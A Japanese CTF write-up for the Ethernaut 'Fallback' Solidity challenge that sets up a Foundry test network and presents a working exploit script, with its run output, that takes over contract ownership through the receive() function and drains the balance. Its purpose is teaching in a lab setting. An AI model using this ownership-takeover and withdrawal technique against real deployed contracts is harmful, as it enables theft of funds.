はじめに
この記事は 1日1CTF Advent Calendar 2024 の 12 日目の記事です。
なお、この記事は 前回の記事 の続きです。読んでいない方は先にそちらをどうぞ。(読まなくてもなんとかなるかも)
この記事の内容は SECCON Beginners CTF 2024 の vote4b の配布ファイル を大きく参考にしています。
問題
Fallback (問題出典: Ethernaut)
Look carefully at the contract's code below.
You will beat this level if
- you claim ownership of the contract
- you reduce its balance to 0
Things that might help
- How to send ether when interacting with an ABI
- How to send ether outside of the ABI
- Converting to and from wei/ether units (see help() command)
- Fallback methods
ここ から遊べます。
環境構築
事前に Foundry を インストールガイド に従ってインストールしておく。
まず anvil でテストネットワークを構築する。ここで、0 番のユーザーを被害者、1 番のユーザーを攻撃者として扱うことにする。(環境により異なる変数は {変数名}
の形で置き換えている。以降も同様。)
$ anvil
_ _
(_) | |
__ _ _ __ __ __ _ | |
/ _` | | '_ \ \ \ / / | | | |
| (_| | | | | | \ V / | | | |
\__,_| |_| |_| \_/ |_| |_|
0.2.0 (398ef4a 2024-11-23T00:23:48.256996868Z)
https://github.com/foundry-rs/foundry
Available Accounts
==================
(0) {被害者のアドレス} (10000.000000000000000000 ETH)
(1) {攻撃者のアドレス} (10000.000000000000000000 ETH)
...
(中略)
...
Private Keys
==================
(0) {被害者の秘密鍵}
(1) {攻撃者の秘密鍵}
...
(中略)
...
Listening on {RPC の URL}
できたら、プロジェクトを作成する。初期状態で入っているいらないファイルは消しておく。
$ forge init q1
$ rm ./script/Counter.s.sol ./src/Counter.sol ./test/Counter.t.sol
src
下に問題ファイルをコピーする。ファイル名は q1.sol
にした。
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract Fallback {
mapping(address => uint256) public contributions;
address public owner;
constructor() {
owner = msg.sender;
contributions[msg.sender] = 1000 * (1 ether);
}
modifier onlyOwner() {
require(msg.sender == owner, "caller is not the owner");
_;
}
function contribute() public payable {
require(msg.value < 0.001 ether);
contributions[msg.sender] += msg.value;
if (contributions[msg.sender] > contributions[owner]) {
owner = msg.sender;
}
}
function getContribution() public view returns (uint256) {
return contributions[msg.sender];
}
function withdraw() public onlyOwner {
payable(owner).transfer(address(this).balance);
}
receive() external payable {
require(msg.value > 0 && contributions[msg.sender] > 0);
owner = msg.sender;
}
}
できたらコントラクトをデプロイする。このとき被害に遭うコントラクトのアドレスが発行されるので確認しておく。({}
を入力する必要はない。以降も同様。)
$ forge create --rpc-url {RPCのURL} --private-key {被害者の秘密鍵} src/q1.sol:Fallback
[⠊] Compiling...
[⠰] Compiling 1 files with Solc 0.8.28
[⠒] Solc 0.8.28 finished in 297.16ms
Compiler run successful!
Deployer: {被害者のアドレス}
Deployed to: {被害に遭うコントラクトのアドレス}
Transaction hash: {トランザクションのハッシュ値}
script
フォルダ下に solver のひな形を作成する。ファイル名は exploit.s.sol
とした。
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.0;
import { Script } from "forge-std/Script.sol";
import { VmSafe } from "forge-std/Vm.sol";
import { Fallback } from "../src/q1.sol";
contract Exploit is Script {
Fallback public chall;
VmSafe.Wallet public solver;
function setUp() public {
chall = Fallback(payable({被害に遭うコントラクトのアドレス}));
solver = vm.createWallet({攻撃者の秘密鍵});
}
function run() public {
vm.startBroadcast();
/* write here! */
// クリア条件1: コントラクトの所有権を奪う
require(chall.owner() == solver.addr);
// クリア条件2: コントラクトの残高を 0 にする
require(address(chall).balance == 0);
vm.stopBroadcast();
}
}
スクリプトがかけたら次のコマンドで実行できる。(現状だとまだ何も書いていないのでクリア条件の判定の require
文に引っかかって落ちる。)
$ forge script --rpc-url {RPCのURL} --private-key {攻撃者の秘密鍵} --broadcast script/exploit.s.sol:Exploit
考察
以降、問題の答えが含まれるので、自力で解きたい方は一旦ストップしてクリア条件の判定の require
文で落ちないスクリプトを完成させてから読んでください。
まずは問題で与えられたコントラクトを読んでいこう。
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract Fallback {
mapping(address => uint256) public contributions;
address public owner;
constructor() {
owner = msg.sender;
contributions[msg.sender] = 1000 * (1 ether);
}
modifier onlyOwner() {
require(msg.sender == owner, "caller is not the owner");
_;
}
function contribute() public payable {
require(msg.value < 0.001 ether);
contributions[msg.sender] += msg.value;
if (contributions[msg.sender] > contributions[owner]) {
owner = msg.sender;
}
}
function getContribution() public view returns (uint256) {
return contributions[msg.sender];
}
function withdraw() public onlyOwner {
payable(owner).transfer(address(this).balance);
}
receive() external payable {
require(msg.value > 0 && contributions[msg.sender] > 0);
owner = msg.sender;
}
}
...
mapping(address => uint256) public contributions;
address public owner;
...
アドレス → 寄付額 の map と owner を定義している。
...
constructor() {
owner = msg.sender;
contributions[msg.sender] = 1000 * (1 ether);
}
...
デプロイされたときに 1 回だけ実行される関数。owner をデプロイしたユーザーにし、そのユーザーに寄付額を 1000 ether にしている。
...
function contribute() public payable {
require(msg.value < 0.001 ether);
contributions[msg.sender] += msg.value;
if (contributions[msg.sender] > contributions[owner]) {
owner = msg.sender;
}
}
...
contribute した人の寄付額を map に反映する。(owner よりも多い金額を寄付した場合 owner を切り替える処理もあるが、解くときに使わない。)
...
function getContribution() public view returns (uint256) {
return contributions[msg.sender];
}
...
getContribution した人の寄付額を返す。
...
modifier onlyOwner() {
require(msg.sender == owner, "caller is not the owner");
_;
}
function withdraw() public onlyOwner {
payable(owner).transfer(address(this).balance);
}
...
withdraw()
関数は owner しか呼び出せない。
...
receive() external payable {
require(msg.value > 0 && contributions[msg.sender] > 0);
owner = msg.sender;
}
...
少し特殊な関数。詳しくは このページ を参照。
送金されたときにデフォルトで呼び出される関数。呼び出された際の送金額とこれまでの寄付額が 0 より大きい場合 owner を奪える。
solver
以上から、少し contribute → 少し送金 で owner を奪える。
owner が奪えたら、withdraw が実行可能になるので実行してあげればいい。
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.0;
import { Script } from "forge-std/Script.sol";
import { VmSafe } from "forge-std/Vm.sol";
import { Fallback } from "../src/q1.sol";
contract Exploit is Script {
Fallback public chall;
VmSafe.Wallet public solver;
function setUp() public {
chall = Fallback(payable({被害に遭うコントラクトのアドレス}));
solver = vm.createWallet({攻撃者の秘密鍵});
}
function run() public {
vm.startBroadcast();
// 1 wei を contribute する
chall.contribute{value: 1 wei}();
// receive を呼び出せば owner になれる条件を満たしていることを確認
require(chall.getContribution() > 0);
// 1 wei 送金して receive を呼び出す
(bool success, ) = payable(address(chall)).call{value: 1 wei}("");
require(success, "Transfer failed");
// クリア条件1: コントラクトの所有権を奪う
require(chall.owner() == solver.addr);
// owner になったので withdraw ができる
chall.withdraw();
// クリア条件2: コントラクトの残高を 0 にする
require(address(chall).balance == 0);
vm.stopBroadcast();
}
}
送金するとき payable(address(chall)).transfer(1 wei);
だとうまくいかなかったので payable(address(chall)).call{value: 1 wei}("");
を用いている。
exploit の実行
実際にローカルのテストネットワークで実行してみる。
$ forge script --rpc-url {RPC の URL} --private-key {攻撃者の秘密鍵} --broadcast script/exploit.s.sol:Exploit
[⠰] Compiling...
[⠊] Compiling 1 files with Solc 0.8.28
[⠢] Solc 0.8.28 finished in 566.22ms
Compiler run successful!
Script ran successfully.
## Setting up 1 EVM.
==========================
Chain 31337
Estimated gas price: 2.000000001 gwei
Estimated total gas used for script: 152073
Estimated amount required: 0.000304146000152073 ETH
==========================
##### anvil-hardhat
✅ [Success] Hash: 0x2c1cc162d5a9f7ec90a470a2d090dc5f885c961055f6a9af2d208a16765d1cc3
Block: 2
Paid: 0.00004209215774944 ETH (47989 gas * 0.87712096 gwei)
##### anvil-hardhat
✅ [Success] Hash: 0xe627da58e99ef823c31497a455a8c47d0533b0e5550850189a236c579621e9f5
Block: 4
Paid: 0.000020388835672947 ETH (30339 gas * 0.672033873 gwei)
##### anvil-hardhat
✅ [Success] Hash: 0x05f8fb00d96aeb5238d64a4f220b3e5c80509fce7a916530cf1a7dd8c702dcd2
Block: 3
Paid: 0.000021745758998489 ETH (28321 gas * 0.767831609 gwei)
✅ Sequence #1 on anvil-hardhat | Total Paid: 0.000084226752420876 ETH (106649 gas * avg 0.772328814 gwei)
==========================
ONCHAIN EXECUTION COMPLETE & SUCCESSFUL.
Transactions saved to: /q1/broadcast/exploit.s.sol/31337/run-latest.json
Sensitive values saved to: /q1/cache/exploit.s.sol/31337/run-latest.json
では、実際の Holesky ネットワークでも実行してみる。
被害に遭うコントラクトのアドレス は Get new instance
してからコンソールを開くと分かる。
自身の秘密鍵は Metamask 拡張機能を開いて右上のケバブメニュー→「アカウントの詳細」→「秘密鍵を表示」からわかる。
RPC の URL は このサイト に載っている中から選んで使う。
$ forge script --rpc-url {RPC の URL} --private-key {攻撃者の秘密鍵} --broadcast script/exploit.s.sol:Exploit
[⠆] Compiling...
[⠊] Compiling 1 files with Solc 0.8.28
[⠒] Solc 0.8.28 finished in 581.18ms
Compiler run successful!
Script ran successfully.
## Setting up 1 EVM.
==========================
Chain 17000
Estimated gas price: 0.479287706 gwei
Estimated total gas used for script: 147280
Estimated amount required: 0.00007058949333968 ETH
==========================
##### holesky
✅ [Success] Hash: 0xe6be4635ca78e5cc3b0803bb6a07407cd358162ef663e0c5474aae192e3456cf
Block: 2994128
Paid: 0.00002252536493362 ETH (47965 gas * 0.469620868 gwei)
##### holesky
✅ [Success] Hash: 0xb2f02be0db4d4678dc6a18bc5f880664993da254f27b35b349f37d8a50759596
Block: 2994128
Paid: 0.000013291209806136 ETH (28302 gas * 0.469620868 gwei)
##### holesky
✅ [Success] Hash: 0x682856bb24545c0484988630457b2131fe72649d7e44e1c32468b370fe0af341
Block: 2994128
Paid: 0.000014259568035952 ETH (30364 gas * 0.469620868 gwei)
✅ Sequence #1 on holesky | Total Paid: 0.000050076142775708 ETH (106631 gas * avg 0.469620868 gwei)
==========================
ONCHAIN EXECUTION COMPLETE & SUCCESSFUL.
Transactions saved to: /q1/broadcast/exploit.s.sol/17000/run-latest.json
Sensitive values saved to: /q1/cache/exploit.s.sol/17000/run-latest.json
実行完了したら、Submit instance
すればクリア。